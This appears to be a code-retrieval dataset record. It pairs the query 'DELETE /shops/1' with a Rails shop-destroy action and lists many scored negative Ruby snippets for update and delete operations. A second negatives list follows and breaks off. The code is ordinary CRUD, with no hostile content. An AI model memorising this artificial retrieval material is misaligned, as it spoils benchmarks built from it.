"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n if @troop.update_attributes(params[:troop])\n format.html { redirect_to @troop, notice: 'Troop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def update\n respond_to do |format|\n if @shoeform.update(shoeform_params)\n format.html { redirect_to @shoeform, notice: 'Shoeform was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shoeform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opportunity = Opportunity.find(params[:id])\n\n if @opportunity.update(opportunity_params)\n head :no_content\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @subservice = args[:subservice] if args.key?(:subservice)\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @sales_rep = SalesRep.find(params[:id])\n \n respond_to do |format|\n if @sales_rep.update_attributes(params[:sales_rep])\n format.html { redirect_to @sales_rep, notice: 'Sales rep was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sales_rep.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@shop)\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: '更新成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @shops_favorite = ShopsFavorite.find(params[:id])\n\n respond_to do |format|\n if @shops_favorite.update_attributes(params[:shops_favorite])\n format.html { redirect_to(@shops_favorite, :notice => 'Shops favorite was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shops_favorite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @promotion_ids = args[:promotion_ids] if args.key?(:promotion_ids)\n @quantity = args[:quantity] if args.key?(:quantity)\n @uri = args[:uri] if args.key?(:uri)\n end",
"def update\n @stuff = Stuff.find(params[:id])\n\n respond_to do |format|\n if @stuff.update_attributes(params[:stuff])\n format.html { redirect_to @stuff, :notice => 'Stuff was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stuff.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if params[:commit] == 'Accept'\n params[:scoot][:state] = 'accepted'\n else\n params[:scoot][:state] = 'rejected'\n end\n respond_to do |format|\n if @scoot.update(scoot_params)\n format.html { redirect_to root_url, notice: 'Scoot was successfully updated.' }\n format.json { render :show, status: :ok, location: @scoot }\n else\n format.html { render :edit }\n format.json { render json: @scoot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @title = \"Update Operations\"\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n flash[:notice] = 'Operation was successfully updated.'\n format.html { redirect_to(@operation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :show, status: :ok, location: @operation }\n else\n format.html { render :edit }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update_shift(id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/labor/shifts/{id}',\n 'default')\n .template_param(new_parameter(id, key: 'id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def update\n respond_to do |format|\n if @pet_shop.update(pet_shop_params)\n format.html { redirect_to @pet_shop, notice: I18n.t('.shop-updated') || 'Pet shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet_shop }\n else\n format.html { render :edit }\n format.json { render json: @pet_shop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end",
"def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.62457025",
"0.62307256",
"0.6227023",
"0.6057643",
"0.603566",
"0.60095644",
"0.6002582",
"0.6002582",
"0.5998753",
"0.59944034",
"0.594038",
"0.5916561",
"0.58946735",
"0.5881242",
"0.5879094",
"0.5847877",
"0.5842934",
"0.58367646",
"0.5835645",
"0.58111537",
"0.5802468",
"0.5795622",
"0.57869124",
"0.57856524",
"0.57822007",
"0.5779514",
"0.57791543",
"0.5765452",
"0.57572055",
"0.57572055",
"0.57513404",
"0.5748314",
"0.5724101",
"0.57132",
"0.5703989",
"0.56949806",
"0.569332",
"0.56905615",
"0.5688886",
"0.5682266",
"0.56801456",
"0.5679954",
"0.56772226",
"0.5673472",
"0.5672282",
"0.56614923",
"0.56397253",
"0.56379336",
"0.56362414",
"0.5636029",
"0.5635265",
"0.56295913",
"0.56221634",
"0.5611763",
"0.5609329",
"0.5608654",
"0.5606895",
"0.5602081",
"0.55991",
"0.55894214",
"0.5588921",
"0.55878115",
"0.55834097",
"0.5582219",
"0.55568737",
"0.5554668",
"0.5554204",
"0.55536765",
"0.55536765",
"0.55431867",
"0.55431867",
"0.5539493",
"0.5537419",
"0.5537419",
"0.55361575",
"0.5536091",
"0.5535242",
"0.5533999",
"0.553388",
"0.55301064",
"0.5527941",
"0.5527941",
"0.5527941",
"0.5525589",
"0.5524381",
"0.55220103",
"0.5520769",
"0.5517662",
"0.5514895",
"0.55132455",
"0.55007213",
"0.5485822",
"0.5476515",
"0.5476341",
"0.5476341",
"0.5476341",
"0.5476341",
"0.5475652",
"0.5475092",
"0.54750216",
"0.5472238"
] |
0.0
|
-1
|
DELETE /shops/1 DELETE /shops/1.json
|
def destroy
@shop.destroy
respond_to do |format|
format.html { redirect_to shops_url, notice: '店舗の削除をしました' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to backend_shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n\n respond_to do |format|\n flash[:success] = \"Deleted successfully \"\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop = Wmall::Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to pro_wmall_shops_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_shops_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @scoop.destroy\n respond_to do |format|\n format.html { redirect_to scoops_path, notice: 'Scoop was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: 'Shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: 'Shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: 'Shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: 'Shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: 'Shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apply_shop.destroy\n respond_to do |format|\n format.html { redirect_to apply_shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize!(@shop)\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_section = ShopSection.find(params[:id])\n @shop_section.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to api_shops_url, notice: \"Shop was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_item = @flat.shop_items.find(params[:id])\n @shop_item.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop.destroy\n\n head :no_content\n end",
"def destroy\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@admin_shop = Admin::Shop.find(params[:id])\n\t\t@admin_shop.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to admin_shops_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @sys_op = SysOp.find(params[:id])\n @sys_op.destroy\n\n respond_to do |format|\n format.html { redirect_to sys_ops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addeshop.destroy\n respond_to do |format|\n format.html { redirect_to addeshops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_ose = ShopOse.find(params[:id])\n @shop_ose.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_oses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @hops_addition = HopsAddition.find(params[:id])\n @hops_addition.destroy\n\n respond_to do |format|\n format.html { redirect_to(hops_additions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @shelf.destroy\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @operations_check = OperationsCheck.find(params[:id])\n @operations_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @growshop.destroy\n respond_to do |format|\n format.html { redirect_to growshops_url, notice: 'Growshop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home_categories_products_indices_shop = Home::Categories::Products::Indices::Shop.find(params[:id])\n @home_categories_products_indices_shop.destroy\n\n respond_to do |format|\n format.html { redirect_to home_categories_products_indices_shops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sales_rep = SalesRep.find(params[:id])\n @sales_rep.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_reps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @troop = Troop.find(params[:id])\n @troop.destroy\n\n respond_to do |format|\n format.html { redirect_to troops_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @shopdetail.destroy\n respond_to do |format|\n format.html { redirect_to shopdetails_url, notice: 'Shopdetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @workshop.destroy\n respond_to do |format|\n format.html { redirect_to workshops_url, notice: 'Workshop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_request.destroy\n respond_to do |format|\n format.html { redirect_to shop_requests_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete(*rest) end",
"def destroy\n @bicycle_shop.destroy\n respond_to do |format|\n format.html { redirect_to bicycle_shops_url, notice: 'Bicycle shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hop.destroy\n respond_to do |format|\n format.html { redirect_to hops_url, notice: 'Hop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @sesh.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coffee_shop.destroy\n respond_to do |format|\n format.html { redirect_to coffee_shops_url, notice: 'Coffee shop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sitemenu.destroy\n respond_to do |format|\n format.html { redirect_to sitemenus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_admin.destroy\n respond_to do |format|\n format.html { redirect_to shop_admins_url, notice: 'Shop admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shoe = Shoe.find(params[:id])\n @shoe.destroy\n\n respond_to do |format|\n format.html { redirect_to shoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sales_item.destroy\n respond_to do |format|\n format.html { redirect_to sales_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stash = Stash.find(params[:id])\n @stash.destroy\n\n respond_to do |format|\n format.html { redirect_to stashes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @operation = Operation.find(params[:id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_purchase = Shop::Purchase.find(params[:id])\n @shop_purchase.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_purchases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @operation_item.destroy\n respond_to do |format|\n format.html { redirect_to operation_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet_shop.destroy\n respond_to do |format|\n format.html { redirect_to pet_shops_url, notice: I18n.t('.shop-deleted') || 'Pet shop was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_customer.destroy\n respond_to do |format|\n format.html { redirect_to shop_customers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shine.destroy\n respond_to do |format|\n format.html { redirect_to shines_url, notice: 'Action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @shot = Shot.find(params[:id])\n @shot.destroy\n\n respond_to do |format|\n format.html { redirect_to shots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def demolish\n @shop = Shop.find(params[:id])\n @shop.destroy\n\n respond_to do |format|\n format.html { redirect_to(shops_url) }\n format.xml { head :ok }\n end\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @men_shop_collection.destroy\n respond_to do |format|\n format.html { redirect_to men_shop_collections_url, notice: 'Men shop collection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @stable = Stable.find(params[:id])\n @stable.destroy\n\n respond_to do |format|\n format.html { redirect_to stables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sale.destroy\n respond_to do |format|\n format.html { redirect_to sales_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @title = \"Destroy Operations\"\n @operation = Operation.find(params[:id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @short_url.destroy\n render json: { status: \"Deleted\" }\n else\n render json: { head: \"no content\" }\n end \n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @salt.destroy\n respond_to do |format|\n format.html { redirect_to salts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shelf = Shelf.find(params[:id])\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to(shelves_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @shop.destroy\n end",
"def destroy\n @sale = Sale.find(params[:id])\n @sale.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sale = Sale.find(params[:id])\n @sale.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sale = Sale.find(params[:id])\n @sale.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sale = Sale.find(params[:id])\n @sale.destroy\n\n respond_to do |format|\n format.html { redirect_to sales_url }\n format.json { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @shop_photo = ShopPhoto.find(params[:id])\n @shop_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_photos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n @store.destroy\n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n @store.destroy\n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n @store.destroy\n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n @store.destroy\n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shops_favorite = ShopsFavorite.find(params[:id])\n @shops_favorite.destroy\n\n respond_to do |format|\n format.html { redirect_to(shops_favorites_url) }\n format.xml { head :ok }\n end\n end",
"def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end",
"def destroy\n @shop.destroy\n respond_to do |format|\n format.html { redirect_to shops_url, notice: '美食餐廳已刪除。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shopping.destroy\n respond_to do |format|\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shopping.destroy\n respond_to do |format|\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shopping.destroy\n respond_to do |format|\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prod_cli.destroy\n respond_to do |format|\n format.html { redirect_to prod_clis_url, notice: 'produto excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n respond_to do |format|\n Workshop.transaction do\n begin\n # delete workshop\n @workshop = Workshop.find(params[:id])\n @workshop.destroy\n\n #delete mapping in repair_workshops\n RepairWorkshop.delete_all(:workshop_id => params[:id])\n #@repairWorkshops.destroy_all\n \n rescue Exception => e\n logger.error(e.message)\n raise ActiveRecord::Rollback, \"Delete workshop fail!\"\n \n end\n end\n format.html { redirect_to workshops_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @sitio = Sitio.find(params[:id])\n @sitio.destroy\n\n respond_to do |format|\n format.html { redirect_to sitios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @store = Store.find(params[:id])\n @store.destroy\n\n respond_to do |format|\n format.html { redirect_to '/stores/admin' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stuff = Stuff.find(params[:id])\n @stuff.destroy\n\n respond_to do |format|\n format.html { redirect_to stuffs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @sala = Sala.find(params[:id])\n @sala.destroy\n\n respond_to do |format|\n format.html { redirect_to salas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stone = Stone.find(params[:id])\n @stone.destroy\n\n respond_to do |format|\n format.html { redirect_to stones_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7150523",
"0.71194243",
"0.71194243",
"0.7100105",
"0.7100105",
"0.7100105",
"0.70407534",
"0.7016818",
"0.6844089",
"0.68091464",
"0.6798578",
"0.6796509",
"0.67763335",
"0.67763335",
"0.67763335",
"0.67763335",
"0.67763335",
"0.67712057",
"0.6741311",
"0.67163855",
"0.6713998",
"0.67064124",
"0.66997856",
"0.66980237",
"0.66861695",
"0.66826564",
"0.66775095",
"0.6674717",
"0.6672636",
"0.6668572",
"0.6597943",
"0.6576329",
"0.6519958",
"0.6517841",
"0.65153456",
"0.6510305",
"0.65046334",
"0.64977133",
"0.64968324",
"0.64894944",
"0.6473204",
"0.64665836",
"0.6455257",
"0.64536285",
"0.6432835",
"0.64123213",
"0.64117473",
"0.640618",
"0.6395023",
"0.6383292",
"0.63782007",
"0.6374179",
"0.6373964",
"0.6369387",
"0.636367",
"0.6362566",
"0.63586557",
"0.6357182",
"0.6356812",
"0.63535184",
"0.6346994",
"0.6338063",
"0.6326694",
"0.6317552",
"0.63118356",
"0.631076",
"0.6303702",
"0.63018936",
"0.6297107",
"0.6296219",
"0.62916243",
"0.6285449",
"0.6276653",
"0.6275407",
"0.6274916",
"0.6274916",
"0.62733215",
"0.62733215",
"0.62705183",
"0.6268422",
"0.626743",
"0.626743",
"0.626743",
"0.626743",
"0.6267217",
"0.62649536",
"0.62634397",
"0.62622255",
"0.62622255",
"0.62622255",
"0.6255553",
"0.6253254",
"0.6248152",
"0.624417",
"0.624417",
"0.6240178",
"0.62348974",
"0.6234356",
"0.6232095",
"0.62297094"
] |
0.6640923
|
30
|
Use callbacks to share common setup or constraints between actions.
|
def set_shop
@shop = Shop.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
